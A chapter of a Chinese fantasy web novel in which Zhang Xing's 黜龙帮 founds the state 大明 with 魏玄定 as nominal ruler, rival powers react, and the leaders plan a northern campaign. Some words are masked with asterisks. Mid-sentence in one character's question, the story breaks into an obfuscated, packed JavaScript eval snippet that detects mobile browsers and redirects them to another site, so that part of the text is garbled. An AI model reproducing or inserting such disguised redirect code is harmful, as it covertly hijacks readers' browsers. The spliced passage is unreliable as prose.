果然,张首席立定之后,四下笑着瞅了瞅,终于也是拱手开口:“诸位兄弟,我还有个议案,需要诸位鼎力相助!” 此言既出,许多人都惊得站起身来……坦诚说,只是看这个站起来的头领数量,就知道,今日这事怎么都会通过的。 当然,也有七八个人没有站起来,然而让人诧异的是,单通海倒也罢了,陈斌、周行范这两位坐在前排的张首席心腹,居然也都没起来,而且脸色都不好看。 此外,白有思白总管虽然站了起来,却表情玩味,四下观察,似乎在期待着什么。 且不提众人反应,张行这边已经继续说了下去:“其实事情说来简单,就是昨日已经通过气的建国之事,事到如今,咱们也须建国立制,才好收拢四方,联通郡县,譬如刚刚派使者,咱们以什么名义去跟南岭那位老夫人交涉?而我也知道,只是建国,取个名字叫大明,以示遵从三辉之意,方便派遣使者,估计没人会反对,关键是建国后就要有国主和宰相,多了这几个职位,就要让一些人生疑……担心会坏了之前的局面。” 说着,张行指向了坐着的白金刚:“白金刚白分管昨晚上就专门找到跟我说过,他反对建国!他觉得有国主就不对,就该是以帮治天下,大家都是兄弟,而不是君臣,所以今日无论如何都会反对……我其实理解他的道理,也认可他的反应,但还是坚持要建国,不说别的,只一个郡县制度的对接,就应该如此,否则要推翻的东西太多了。” 众人齐齐去看白金刚,后者只是端坐不动,面无表情,也是暗自佩服。 “非只是白金刚白分管,雄天王也不赞同,他觉得可以缓缓……等天下一统了,再建国,这样国就可以不损伤帮,省的兄弟生分。”张行接着报出了一个令人诧异和不安的名字,然而当众人看向雄伯南时却发现他早已经站起身来,复又疑惑不解。“我对这一点深以为然,好在后来让天**白了我的本意……” 说着,张行从怀里掏出一张纸,递给了魏玄定:“魏公,你来发表。” 魏玄定不敢怠慢,上前接过那张纸,重新做起了许久没做的开会宣读工作: “其一,帮国相加,以帮立国,非入帮者,虽乡里不得任官;非头领者,不得出任一营郎将、一郡太守、一部分管;非大头领者不得任总管、正将、行台指挥,不得指挥其他各营兵马;非龙头者不得施政为相公、统兵为战帅,不得为国主。” 这话一出来,殿中陡然寂静,脸色最难看的单通海也心中微动。 “其二,暂不废大行台,以大行台督全帮、全**政事。” “其三,现有首席以下诸位龙头,计魏玄定、陈斌、雄伯南、徐世英、单通海、窦立德、柴孝和、李定、牛达、伍惊风、洪长涯、杜破阵、殷天奇十三位,外加许诺北地荡魔卫另一位龙头虚额,为十四位,此十四位,再以日后之计量,增设十位,合计二十四位,为定额,不再因职而设,不再肆意扩充;类似,以大头领定虚额一百零八位;而以头领定虚额千位,虽并天下,不得增设。” “其四,头领贵重,须以公平进退,一则进于修为,二则进于科考,三则进于基层官吏将士升迁;一退于病老,二退于帮规国法,**于无能沆瀣,满员后每年必有百员退……此外,进退员额,须以地方人口为基分布妥当。” “其五,以废弃行台指挥转任大行台时,以柴孝和为大行台副指挥,以魏……以魏……魏……首席,我当不得!” 魏玄定忽然就破了音,众人原本渐入佳境,此时则诧异不解。 “以魏玄定为国主。”张行撇过脸去,昂然来言,真气滚动大殿,引起回音。“魏公是咱们黜龙帮第一任首席,而且一口气做了快三年,那自然也要做第一任国主,这次要做五年!这是我决定的!诸位头领都在这里,谁赞同,谁反对?赞同的,请站起来!” 单通海只觉得自己后背全都湿透了,此时被寒气一滚,瞬间冰凉一片,继而如昨日那般瘫倒在椅子上。 之前听着魏玄定一个个念下去,他几乎要被说服,觉得若是这般,也不是不能让张行当个国主,做个皇帝,却一直没有勇气站起来……而现在,不知道为什么,听到要让魏玄定来做这个国主,他本该满心欣喜,却居然又觉得不妥起来。 满殿肃然,不少人都在发懵,而陈斌、周行范两人依旧板着脸坐在那里,俨然是昨日被通报了这个结果,对此不服,却又不安而已,而雄伯南、徐世英虽然早早站了起来,却没有半点动摇,似乎也早知道。 注意到这一点后,同样老早站起来的窦立德也不安了起来,原来自己还是没有进入那个最核心的圈子。 片刻后,周遭开始解冻,众人或是议论纷纷,或是茫然不解,还有人依旧在发呆,但站着的人都没坐下,坐下的人也都没站起来。 张行见状,终于不耐:“诸位,我的志向,从来不需要遮掩,也未曾遮掩,你们信也好不信也罢,皇帝、国主,我都没放在心里。或许将来黜龙帮还是败了,天地演化,日月翻转,还是家天下,那也是时势使然,与我无关,我张三能保证的,不过我活着的时候,绝不做政出家门的事情,如此而已!还请诸位兄弟不要犹豫!” 听得此言,思绪良久的白金刚忽然站起身来,陈斌和周行范对视一眼,前者叹了口气,随即与后者一起起身,这下子,剩余的几个零星坐着的人也都纷纷起身。 唯独单通海,几度想起身,几度都无从发力,依旧靠在座中。 张行目光落在岿然不动的单通海身上,难得露出赞赏之态,当众微微一笑,然后便扯着已经发麻的魏玄定来做宣告:“八十五手,咱们过了!魏公就是咱们大明第一位国主!” 依然是,有什么事一说,周围人就给办了。 PS:还是要说一下,9-13号这个区间可能要跨城搬家,两只猫带孩子,不知道会遇到什么情况,可能会周更状态下也要顺延几天,先鞠个躬……祝大家国庆结束也快乐。 第六十三章 **行(6) 张行发作了一回,定下了魏玄定为国主,上下却是瞬间晓得了,那就是甭管议论多少,甭管五年后是否是张首席来做这个位置,这个国主都是比首席轻贱的,甚至根本就是首席任命的。 国家建立了,大明朝出来了,可整个大明却是通过黜龙帮进行建构的,而且二者将会并行延续下去。 这是之前从来没有过的事情……坦诚说,很多人都不看好,反对派也不要太明显……陈斌这些人应该是觉得张行可以一步到位的,所以不情不愿;单通海、白金刚这些人俨然是坚决反对任何影响黜龙帮原有规则与体制的举措。 至于说一早站起来表示同意内里却觉得胡闹的,当然也有,而且不少。 但到了此时此刻,天底下已经没几个人不晓得张首席这脾气了,你若跟这位首席说隐患,这厮一定把他那套什么管杀不管埋的理论抬出来。 所以,最多也就是冷眼旁观。 更何况,此类事端,素来不乏热眼。 接下来数日,消息极速传播了出去,黜龙帮建国号大明,尊崇三辉,国主居然是首席张行指定前首席魏玄定担任,再加上黜龙帮发出的各路信使,瞬间引得天下各处侧目……黜龙帮治外,东都当然第一个获知此消息的**中心,而混乱中,人们自然瞄准了此地实际主人司马正。 实际上,翼国公王代积听到消息后“大为震惊”,以至于专门从南阳折回,来东都问司马正如何来看此事。 当然了,王代积之心,路人皆知,这是想让司马正正位登基呢。 “我觉得挺好。”昔日紫微宫南衙院中正北公房内,司马正将原本正在核算的表格放下,看了看眼前的己方二号实权人物,言辞诚恳。“翼国公,咱们当年同殿为臣,谁不晓得这大魏天下是被曹彻一人祸害成这样?咱们既然是要承大魏体统,便更该以此为戒才对……你说对不对?” 王代积胡乱点头,却又失笑:“话要是这么说,咱们更不该让曹彻的种继续留在皇位上了……学学人家黜龙帮,皇帝轮流做,今年到我家嘛。” “也不是不行。”司马正言辞愈发恳切。“既如此,翼国公何妨认当今陛下为义父,让他禅位给你?我来与段公他们说,也与陛下去说,断不会有人不满的。” 王代积目瞪口呆,半日方才讪讪:“司马公这不是把我放在火上烤吗?” “以前是把你放在火上烤,但这不是黜龙帮搞了先例嘛,算不得火上烤……你真不要当个皇帝试试?”司马正依旧诚恳。 王代积沉默片刻,尴尬与不安之余居然有些心动,他其实很清楚,眼下这个局势,天下怎么都不会轮到自己来坐这把椅子,只是依着他对张行的了解,恐怕真有借此消解皇帝权威的意思,而若如此,自己便是真做了皇帝又如何? 不也能过把瘾吗? 另一边,司马正到底是个实在人,见状居然主动解套:“翼国公若不愿意就算了,咱们能留在东都,靠的到底是大魏体统,还是让姓曹的来做吧……对了,昨日段公来找我,说是闲不住,想要去陕郡,你怎么看?” 王代积这才回过神来,幽幽以对:“我觉得可行,段公是个实在人,之前便对白横秋有气,现在主动请缨是好事,不能因为他儿子在长安被白横秋招了侄女婿便以为他是要吃里扒外。” “我也是这般想的。”司马正点头以对。 王代积犹豫了一下,正色道:“元帅,我知道你修为深不可测,若在东都立塔,龙囚关、河阳城、金镛城,皆可联结,但陕郡还是远了些,非要我说,最好的陕郡太守应该是你七叔才对……他还是不愿意出仕吗?” “谁说我不愿意出仕?”就在这时,一人忽然从公房内屋摔帘而出,赫然是面色干瘦的司马进达。 王代积吓了一跳,赶紧拱手:“七将军!七将军如何在此?!” “翼国公。”司马进达从容拱手。“翼国公想多了,我当日亲手杀我兄长,本意是厌弃他行事无度,葬送司马氏大好机遇……而今日黜龙贼与白贼虽然各据基业,司马氏仍为百年兴盛之顶,何况东都为天下天元所在,二贼必然来争,只要二郎在东都守住几回,则二贼根基必有破碎,届时大局未必可知……那敢问如此局面,我岂能长久坐视?” 王代积愣了一下,连连点头:“七将军说的是,所以七将军要去陕郡?” “不去。”司马进达摇头以对。“我要留在东都……一旦开战,二郎很可能要出城临阵,东都这里须有人看管,不过,若是将来局面打开,我倒是想去出去看看……至于陕郡,恕我直言,一旦开战,白横秋亲身而来,陕郡如何能保?而若他不能下东都,转回西都,以二郎的修为,陕郡又怎么可能不回来?段公想去就去,咱们大度一点便是。” 王代积沉默了片刻,只能点头:“好,七将军出山,东都稳如红山。” “时局变动,虽真龙亦可亡,虽红山亦可崩。”就在这时,原本已经重新在核算表格的司马正忽然在案后叹了口气。 而这话也听得其余二人齐齐一惊。 但旋即,王代积便干笑起来:“既如此,便说明那两家虽然成了气候,我们却总有一搏之力。” 倒是之前炯炯的司马进达此时忽然安静了下来,忍不住去看外面院中炙热的阳光。 消息进一步外扩,不过是又过了两日,已经改回长安的西都那边,大英皇帝也得知了这个消息……出乎意料的是,与司马正的从容相比,占据了战略优势的白横秋明显失态。 这位大宗师居然在自己的御案之上直接碰翻了笔架。 “陛下何至于此?”发出此问的,赫然是早数年便天下公认的大宗师下第一人,昔日当庐主人,今日大英上柱国韦胜机。 其人年龄与白横秋仿佛,同样两鬓斑白,却面容干瘦,唯有双目细长,精光如电,此时虽然是在御前,却只是负手而立,一身锦衣暗纹明纹交汇,图案繁复,加上玉佩、金饰,甚至显得比白横秋的玄色龙纹袍更加华丽……这还不算,他腰中居然堂而皇之挂着一柄三尺长的无鞘露刃剑。 就在距离皇帝不到三步的地方。 实际上,只有韦胜机一人离得这么近,然后又有两个人在距离白横秋五六步的距离,其余俱皆立在十步之外。 “我虽然昨日才回到长安,可却早听陛下说,彼辈之道正在于离经叛道。”韦胜机见到对方还在喘息不语,更是蹙眉。“后来还是陛下亲口与我所言,说当日一击不成,彼辈气候便无可制,要等到两条大龙在东都交汇决战了……那如此局面,不敢说预料之中,却也是理所当然吧?” “朕当然不是惊于他们搞了个大明。”白横秋仰头坐在御座中,脚下长短软硬不一的各支笔却自行竖起,一一飞上桌案归位。“天下棋局,在势不在巧,他便是弄出来二十个国主一起坐天下,只要最后东都被我所取,河北为关陇所覆,那便都是笑话……我所惊异的是‘时’,他们居然如此之快,直接一路捅到了北地,这样的话,今年以后便能后顾无忧,好与我们全力相争天元……薛常雄、罗术冢中枯骨倒也罢了,北地荡魔卫居然降了?!黑帝爷不要脸的吗?” 韦胜机想了一想,认真点头:“确实快,咱们连梁师城都未解决,而他们此番直趋北地,相当于我们要解决的巫族……果然慢了一大步。” “倒也未必。”就在这时,大英尚书右丞张世静忽然向前两大步,趁机与韦胜机并列而立,然后抬起头来含笑晏晏。“陛下,韦将军,咱们就不说黜龙贼离经叛道还自以为是了,只说势……咱们比之他们一则握有晋地,依然对河北居高临下;二则,咱们和他们似乎是并争东都与江南,可是,两者咱们都是在上游,他们在下游,天然乏力…… “举例来说,若是将来决战,陛下自出东都与黜龙贼争天元;臣往晋地坐镇,不求有功,但求挠黜龙贼之背;而以韦将军巴蜀英杰之姿,将兵五万,顺流而下,与当年杨斌顺江而下,到底有什么区别?谁能阻拦?届时东都胜则全局胜,江南得则大势得,何必畏惧他们呢?” 白横秋想了一想,含笑来看韦胜机:“如何,韦江神?张相公此言或许有些想当然,但战略应该是无误的。” 韦胜机想了想,蹙眉反问:“道理是对的,但巫族不管了吗?天下局势渐渐清晰,牵一发而动全身,若是这般计量,黜龙贼没道理不联络巫族,趁我们出兵时挠我们的后背吧?” “这是必然。”白横秋喟然道。“所以我才失态……不然能如何,难道要现在一头扎进毒漠之后吗?” “扎进去以后,按照黜龙帮眼下的进展,怕是要反过把巫族推到对面去了……按照会议里的情报,张行是将李定扔到了北地,此举固然是有排挤的意思,但何尝不是借李四郎的军略来压制北地与苦海,若是巫族求援,我都能想到李四郎如何欣喜若狂,直接发兵渡海,借机脱得樊笼了。”张世静接口道。 “李四郎不是你们关陇子弟吗?韩博龙的亲外甥,这都不能拉过来吗?”韦胜机忽然扭头来问张世静。 张世静一声不吭。 “难。”停了片刻,在白横秋的目光注视下,另一位站的靠前之人开了口,赫然是白氏姻亲、靖安台中丞窦尚。“之前我弟窦琦就与我说过李四郎这厮,这次窦濡与薛常雄的一个儿子过来,也各自与我说了一遍……他们都觉得,这位李四郎军阵上本事确实是有的,但是目光短浅,从头到尾舍不得地盘,舍不得兵马,这才被张行给套住。而按照窦濡的说法,黜龙帮虽然是营将专一的府兵制度,可架不住张行打一场胜仗整一次军,下面的军将士卒换了一茬又一茬,现在的军中固然知道有营将,却更知道有首席和大行台,所以,这就成了兵马与权势其实是张行的,李定又离不开手里的兵马与权势,所以变成了李定离不开张行。” “李四郎……”白横秋若有所思。“如此说来,李四郎不能小觑,但也不应该多分心,依我看,张行把李四郎摆在北地未必算是闲置,反而算是黜龙帮的底蕴了,毕竟,真有朝一日被我们打了过去,他们退到北地,就是要靠李四郎这种人来维持局面。” “若是这般讲就对头了……”窦尚一愣,旋即肃然。“那张三郎从来不是个嫉贤妒能的,他其实是将李四郎和北地当做托底。” “所以,说来说去,现在的要害是要出使巫族,与巫族达成和睦?”张世静及时把核心问题拉了回来。 “有点难。”窦尚在身后认真提醒。“我们刚刚与他们大战数场,杀了不少巫族贵种,这还不算,韦将军刚刚杀掉的薛挺和马上要去打的梁师城背后都有巫族人的支持……” “总得试试。”白横秋想了一想,认真道。“想法子哄哄他们,名号、钱帛都可以给……窦氏立足灵州与朔方百年,跟东部、中部巫族素有瓜葛,这件事情窦卿安排一下。” “梁师城……” “先打,韦将军亲自走一遭,务必要把白道这个毒漠出口取回来,要快,至于说如果他们逃入毒漠,咱们要不要斩草除根,就可以缓一缓了,而这个时候,窦中丞就发使者进去……韦将军可以适时自行决定是否出战。” 韦胜机停了片刻,潦草点头。 窦尚犹豫了一下,小心来问:“陛下,别的好说,总是讨价还价,可若是他们强约兄弟之盟乃至于舅甥之盟呢?陛下应该知道,他们素来对这个……” “可以。”白横秋直接打断对方做了应许,语调也莫名高了起来。 很显然,为了大局,兄弟之盟乃至于舅甥之盟都是可以忍受的,但只是忍受,大英皇帝甚至不愿意这个概念被广泛提及,事后巫族人也必然要为这个蹬鼻子上脸付出代价。 窦尚会意,当场点头称是。 简单的高层会议结束,其余人不提,窦尚回到家中,唤来了自己近来最看重的族侄窦濡,叔侄二人在静室坐定,窦尚先将今日御前的事情告知出来,然后开门见山:“我有意让你先从韦将军出征,然后适时从白道口出使巫族。” 窦濡赶紧就在桌案前俯身行礼称谢:“侄儿刚回来,便有这个重要差遣,当真是叔父照拂。” “哪里是照拂?”窦尚叹了口气,满脸无力。“根本是你们这代窦氏英俊子弟被张行杀了个大半,竟有些青黄不接的样子,而年轻一代剩下的人里,只有你还算是个胆大伶俐的,此事竟只有你一人能拿捏妥当……” “是。”窦濡也不由有些尴尬。 “知道关键在哪里吗?”窦尚沉默片刻,抬头继续来问。 “关键不在于立盟,而在于不将巫族推到对面去。”窦濡立即作答。 “是,这是大英的关键。”窦尚点点头,然后语气清淡,继续来问。“我们窦氏的关键呢?” 窦濡沉默了片刻,缓缓作答:“巫族和睦这件事,陛下其实是被局势逼迫为之,心里极不痛快,而咱们既是给陛下做事,没道理让咱们担责任……所以,虽说陛下许了兄弟之盟,可真要是巫族蹬鼻子上脸,咱们也就算了,不然便是事情成了,将来陛下烦躁起来,说不得也是我们的过错。” “就是这个意思。”窦尚再三叹气。“这也是我看重你的地方……谁让咱们窦氏倒霉呢?乱世一出便遇到了张三这个煞星,不得不小心起来。至于说长安这里伴君如伴虎的道理,就更懒得说了,大魏时说的太多都说烦了。” 窦濡抿了抿嘴,忽然苦笑一声:“若是这般说,那张行**国主之位,竟然还有些道理了。” “有道理也不能说出来。”窦尚倒是重新恢复了冷静。 听到这话,来之前存了许多言语,包括韦胜机的特殊地位,包括家族与自己将来前程,包括陛下几个儿子还小侄子却都有了羽翼……种种种种吧,此时全都消融。 窦濡停下了一切的多余言语,转而茫然的看向了屋外,彼处绿树摇曳,蝉鸣阵阵,自是一番天地。 很显然,黜龙帮的自我**进程反过来推动了其余各大势力务实的战略判断与调整,对自家内部其实也是如此……在短暂的内部失序同时,黜龙帮那庞大的军事运行体制却是片刻都没有停止。 不过,这也不耽误该遇到问题会遇到问题,该走的流程要继续走流程。 在张行的坚持要求下,许多临时郡守的任命被大行台审议通过,而这一次魏玄定非但有了讨论权还有了签字权,就好像张行对头领的任命有了签字权一般。 除此之外,军队的支援和北上也遭遇了一点困难,因为之前河北战事的顺利,很多停在河北本土的部队都直接回到了驻地,甚至有些直接轮休放假。而现在,随着河北腹地多个行台被撤销,部队将来的驻地在何处?要不要例行再整一次军?新打下的幽州和河间起多少个营头,包括北地的战事并无紧迫性的现实,全都直接影响到了军心。 这就使得预定的十五个营北上支援的计划遭遇到了一定迟滞。 也就是这个时候,李定忽然发来求援信,声称自己集中十余营兵力沿着大兴山西路北进后,于奔马城东面的沼泽地外,遭遇到了北地联军十数万的堵截,而且其中包括至少一位宗师,一位前荡魔卫司命,一位奔马城的冠军公,外加二十余个战团。 目前,他既不敢前进闯过沼泽,也不敢后退,将沼泽南面空地让出,只能苦捱,等待援军抵达。 得到消息,张行立即在大殿内召开龙头一层的最高层会议,商议支援事宜。 坦诚说,谁都没想到,新一**战来的这么快,而且来势汹汹。 “十五个营够不够,要不要增加援兵规模?”略显空旷的大殿内,雄伯南当先来问,很显然,短短数日并不能让这位黜龙帮核心人物从之前的**冲击中完全挣脱开来,但反过来说,正是这种切实的军事活动最能抵消这种**冲击。 “我不建议。”徐大郎作为军事上的主管,几乎是脱口而对。“这是去北地,可能要一路打到观海镇,路太长了,后勤消耗极大……而且最关键一点在于,现在只是救急,等时间缓过来,荡魔卫的人就能支援过去了……咱们在北地其实不缺兵马,没必要兴师动众的耗费钱粮。” “是这个道理。”张行即刻点头。“而且这种战团组建的联军素来不能持久,时间一长,人心就乱,只是一时赳赳罢了。” “话虽如此,我们自己打下来,跟借用荡魔卫的兵马打下来,不是一回事吧?”魏玄定勉力发言,这些天做了国主后他反而有些畏缩了。 实际上,这行宫内已经有人吐槽,魏公这国主做的除了换了个行宫内的大房子连套新衣服都没舍得给,也不知道这国主做的是个啥。 “诚然如此……但值得为此大动干戈,浪费宝贵的钱粮军械吗?日后是要打大仗的。”单通海认真提醒。 “又得权衡……现在怕只怕荡魔卫的人再出乱子,到了秋天荡魔卫都没有把内乱收拾起来,或者假装收拾不起来。”陈斌蹙眉道。“那咱们的二十多个营可就要被白白挂在北地一年。” “我晓得陈龙头的意思,真要是挂一年,那可真是什么都白算计了……二十多个营一年的阵前钱粮和冬营的钱粮可不是一回事,还不如现在出大军,把北地落袋为安的好。”柴孝和也小心翼翼加入到了讨论中。 “有道理,而且迟则生变。”出乎意料,张行也赞同这个论调。“但也应该节省钱粮以备大战,所以我还是要回去北地一趟……我原本就要回去的,但现在要提前回去。” 众人反应各异,这个会议连白有思都没有来,只是龙头一层,而这些人在那日大会后都被张行告知了黜龙之事,只是此时外围还有几位文书在记录会议内容,所以不好明说此事罢了。 雄伯南率先提出意见:“首席现在就要去的话不是不行,但帮里这么多宗师,应该一起去才稳妥……白总管,我,还有养好伤的魏文达,都要去,便是千金教主跟来战儿也该正经请一请……那到底是天下数得着的真龙。” “可以试着请一下千金教主,就说请他替我们疗伤嘛,但没必要一股脑的搞。”张行认真道。“咱们建国后局势已经很微妙了,东都现在没有吭声……所以这件事情不能大张旗鼓,最起码不要让白横秋跟司马正晓得我们会有一个精锐齐出北地的事情,然后有一个从容准备和行动的时间……况且,天王担心的事情其实是跟北地的局势联系在一起的,想要做那件事情,必须要把北地梳理干净,汇集了北地的力量一起去做才行,这也是我要去的缘故,一个是我的身份总能让北地人信服;另一个便是摆出去做那件事的架势,本身就会逼迫荡魔卫的人迅速站队。” “那具体怎么安排?”雄伯南追问道。 张行没有回答,而是看向了徐世英。 徐大郎干咳了一声,清了下嗓子,认真道:“这么做的话最好的法子自然是分批过去,可如何分批过去,我却有个心思……首先,咱们答应人家的事情恐怕要集中帮内的高级修行者,而不是兵马;其次,眼下李龙头那里需要极速的支援……既如此,何妨让踏白骑先去?” “踏白骑?”雄伯南闻得此言,反而疑惑。“这算什么策略,踏白骑本来就该跟首席第一批去?而且,我晓得踏白骑厉害,可对方兵力这么多,只是踏白骑就够了?” “那就以踏白骑的名义,集中目前河北地方上各营所有非头领的奇经以上高手,临时组建一个更大的踏白骑。”徐大郎认真道。“然后再分批将十五个营兵马送过去……尽量在一个月内完成。等那边一切就绪,我们再请天王与魏大头领,包括说请一下来战儿与千金教主,一起过去。” “河北各营的修行者全都**在一起?”单通海明显有些紧张。“包括我们济阴行台的人吗?” 单通海之所以还在这里,主要就是因为济阴行台的部队依旧留在晋北与河北西部,以协助和协调新的武安行台与晋北行台转移与对调。 “自然包括。”徐世英言辞干脆。 “会不会过于危险?”单通海继续来问。 “这个危险是指他们聚在一起,一旦受到损伤便是咱们黜龙帮的内伤,还是说这些人聚在一起,一旦有了自己的心思,对帮里影响太大,容易损伤帮内其他各处?”张行直接将话挑明。 “都有。”单通海停了一下,梗着脖子道。 “那就只有两句话了。”张行认真回复。“第一,这只是临时的征召手段,而且只有我有权力做这个征召,同时必须要配上帮内最高的高级战力相互辅助……实际上,之前的踏白骑之所以能组建起来,便是因为我修行方式特殊,被黑帝爷开了锁,真气极多,起阵极快;第二,我要提醒一下大家,如果有一天,我是说如果,天下一统,再加上我们强制筑基的方略,果真需要非修行者来组建军队吗?咱们既要做大事,最起码我们这些人要对将来的局势有准备。” 不止是单通海,几人一起沉默。 片刻后,魏玄定干笑了一下:“若是咱们坐了天下,那时候哪里还有不是修行者的凡人?” “肯定会有的。”陈斌幽幽道。“就好像如今咱们废了奴籍,而且授田严格,可总还有窄乡宽乡,总还有农人进城当雇工……” “不错,真到了那时候,不到奇经的,不就是现在的寻常人吗?”雄伯南也点头。“力气大一些罢了。” 徐世英保持了沉默,柴孝和想说什么却有些怯场。 “诸位何必如此?”倒是张行闻言再笑。“真要是到了那个时候,普通正脉修为最起码种地能快一些吧?种地快一些,便能少饿死些人,少饿死些人,天下自然就少了许多欺压的事情……更不要说,把力气节省下来,去打个家具,做个小买卖,日子总是变好的。” “诚然如此。”柴孝和立即点头,却又有些无语。“日后修不到奇经,就只能种地吗?” 众人轰然一笑,气氛难得宽松了不少。 笑完之后,张行也做了总结:“既如此,就按照徐大郎的言语来办,先召集河北地面上的修行者,不止是我们的人,包括降人,也要过去,我跟白总管带着,到北地汇合了牛河牛大头领,一起支援李龙头……后续兵马分批次在秋日前支援到位,天王跟魏大头领则在战事稳定后再动身,最后时刻再去邀请淮上那两位……包括十三金刚,也不要一起动,芒金刚几个跟我一起先去,白金刚这些在大行台做事的最后再去。” “好。” “行。” “就这样吧……” “而我既要走了,这边有几件事情,要与你们做吩咐。”张行继续来说,然后先看向了陈斌。“秋后新得地面上两件大事,重新授田是一件,强制筑基是一件……不要觉得局势好,就宽容,越是这个时候越不能留隐患,我把降人里的修行者都带走后,若是这两件事有人闹,该**就**,让张金树提前做好准备。” 陈斌立即点头。 “邺城这里两件大事,继续在秋后科考和建立大学是一件,组织新的军事防线和攻击计划是另一件。”张行继续说了下去。“事情都从大行台里走,授田陈副指挥负责,强制筑基柴副指挥负责,秋后科考的事情交给魏国主来做,军事布置则是徐大郎抓总,跟单、伍、洪、周四位前线龙头一起布置……原则是河北两个行台防御,河南两个行台跟魏郡这里进攻,扩军的事情反而不急,可以先做出计划,明年局势稳定了再搞。最后是天王,你要辛苦些,要负责全线的监察。” 几人轮番点了头。 而陈斌犹豫了一下,主动来问:“科考、大学,还有强制筑基,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168018|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟蒙基部有直接关系,张世昭张头领一直勤勤恳恳,是不是该提一提?” “可以,年底给他加大头领。”张行立即点头。“包括大学出来后,还有科考的事情,都可以专门设个部,然后让他转出蒙基部,做个教导部,三个小部一起向他汇报,他再向魏公……魏国主汇报。” 众人点头……其实张行之前跟他们聊过关于大行台设部的道理,以前只有一个皇帝加一个宰相,皇帝和宰相如果不分权,那在军事体制之外对接六部,或者搞三公九卿就是正常人精力的尽头了,后来搞了多个宰相,理论上应该可以让工作细化,但皇帝依然不舍得分权,这就导致了皇帝其实要同时对接几个宰执和六部,这同样会被精力和时间限制。 而黜龙帮之所以这么搞,就是因为张行不需要直接对接这些部,他只要对接大行台内外几个龙头,这些龙头再层层负责下去,到了普通小部这一层,其实已经是第四层了。 换言之,这个部的设计,是跟大行台本身的集权有关,跟张行本人无关。 张行顿了一下,继续吩咐:“我此去北地,便是顺利,估计也要明年春日再回来了,我不在的时候,你们要精诚团结,大事上如果出现争执,大行台内按照陈、魏、雄、徐、柴的序列走,大行台外,按照单、窦、牛、伍、洪、周、程的顺序走……而如果争执不是单人之间的争执,那就开会,大行台里解决,最多召集外线龙头一起商议……程知理就不要叫了,他不够格,十个龙头一起开会,如果十个龙头居然五对五,那哪怕是我没来,也要算我一票,我支持陈总管,他办事我素来放心。” 众人点头,而单通海与魏玄定心里居然跟陈斌一样松了口气。 “最后的最后,我再做个叮嘱,你们一定要记住,也要记下来。”张行环顾了在场几人,并看向了远端正在亲自记录会议的萧余。“其实小周、程大郎,包括伍惊风与洪长涯,离开邺城时我都叮嘱过了,现在正式说给你们听……如果我此去北地,黜龙失败,死在了天池,就先以魏公为国主,领首席,维持现在的高层局面,并且和司马正正式结盟,抵御白横秋;而五年后,如果没有人立下殊勋,就应该推动徐大郎出任首席,让他带着大家争天下,继续我们的旧方略……我们握有河北、北地、东境、淮北,只要稳住局面,谁都不怕。” 气氛陡然严峻起来,但众人又不好说这是不必要的话,偏偏这话的内容不免让人震动。 停了片刻,还是徐大郎自己开口来问:“如此,置白总管于何处呢?” 其他人都竖起耳朵。 “她若有本事,自会有殊勋。”张行昂然来答。“你们不会以为黜龙帮的首席是谁一句话来定的吧?今日在座的,都是由黜龙帮历史来定的,她的将来也如此。” 众人不由凛然。 张行顿了一顿笑道:“其实,我既说遗言,便是天池败了,那她作为此番黜龙主力,自然暂时没资格做龙头,可若是天池成了事,咱们平心而论,她必然是首功,反而不好不给一个龙头了。” 几人一起干笑了几声,却又迅速收住。 就这样,五月下旬,张行不过在邺城呆了小半月的时间,连月娘跟新来的“北地表妹”怀娘联合开发的炸肉丸子都还没吃过几顿,便再度与白三娘一起启程北上了。 随行者,不过是两百余踏白骑与莽金刚、秦宝在内的几位好手头领。 不过,随着队伍越过漳水,河北各处隶属于黜龙帮的修行好手便开始密集汇入,大部分都是奇经,少部分是降人中的凝丹高手。 而且,居然是降人们来的最快、最急。 另一边,张行建国前后,虽然表面上一直成竹在胸,态度倜傥,但实际上,他在邺城这小半月里还是承受了不少**压力的,尤其是几位龙头都明显展露出了一些对前途的迷茫……或者说是有些不知所措更准确一些……他们不是担心黜龙帮会失败,而是不知道张行会搞出什么新的东西,他们的自我定位又在哪里,显得无从落脚。 这也切实反过来影响到了张行。 而现在,离开了邺城,再往北地,虽说是夏日炎炎,但也视野开阔,事少心净……更重要的是,他自往北地来,其实是存着此番北上黜龙,借此从多个层面一起破局的心态,所以期待感也渐渐升起。 这还不算,再度来到幽州桥,入住临桑宫后,张行更是信心大振。 无他,此时从河北各处汇集的奇经高手数量远超张行想象,居然已经达到了八百余人的数量! 要知道,黜龙帮一直采取的准备将轮换制度,所谓的踏白骑,本质上是各营准备将与中层军官的轮换池,也是军事体制下军官转地方和大行台的中转站,所以,靠着踏白骑的数量是可以轻松估算出黜龙帮的整体奇经修行者数量的。 而之前黜龙帮北伐时,接近三百的踏白骑,其实已经让张行很满足很得意了,因为这意味着黜龙帮在地方和军中估计还有四五百这个数量的同等级修行者。 加一起就是七八百。 那么现在呢? 现在有八百人,虽说这里面有黜龙帮大部分军队中的精华,和幽州、河间的降人,可是北地还有二十多个营呢,文官体系和河南的一半兵马都也没有动,这么估算下来啊,到了眼下,黜龙帮的奇经修行者储备,很可能已经过千了。 而若是全取北地呢,整个北地又有多少修行者? 想当年,张行与徐世英闲谈,觉得这个天下从老到幼,从南岭到北地,从东夷到巫地,满打满算,凝丹者怕是不满千的。 那若黜龙帮稍作整备,能得奇经三千,岂不是根基已成,不可动摇了? 幽州稍候,张行又等到了洪长涯专门派来的头领尉迟融尉迟七郎,后者只是请战,遇到了这一场。而张首席也算是疑人不用,用人不疑,干脆将这八百余骑一分为二,让秦宝与尉迟融分左右翼并领,然后部队继续轻身北上,到了六月上旬的时候就再度越过燕山山脉,进入掷刀岭。 而当着前来迎接的侯君束等人的面,张首席一如既往的小人得志了一番。 当时,他指着旁边刻着金文的石碑,顾盼生姿,说今天我才知道,当年黑帝爷为何只敬天地人,而不敬至尊鬼神了……但凡能提八百奇经,结阵而行,便是至尊也要避让锋芒的的! 委实狂的没边了。 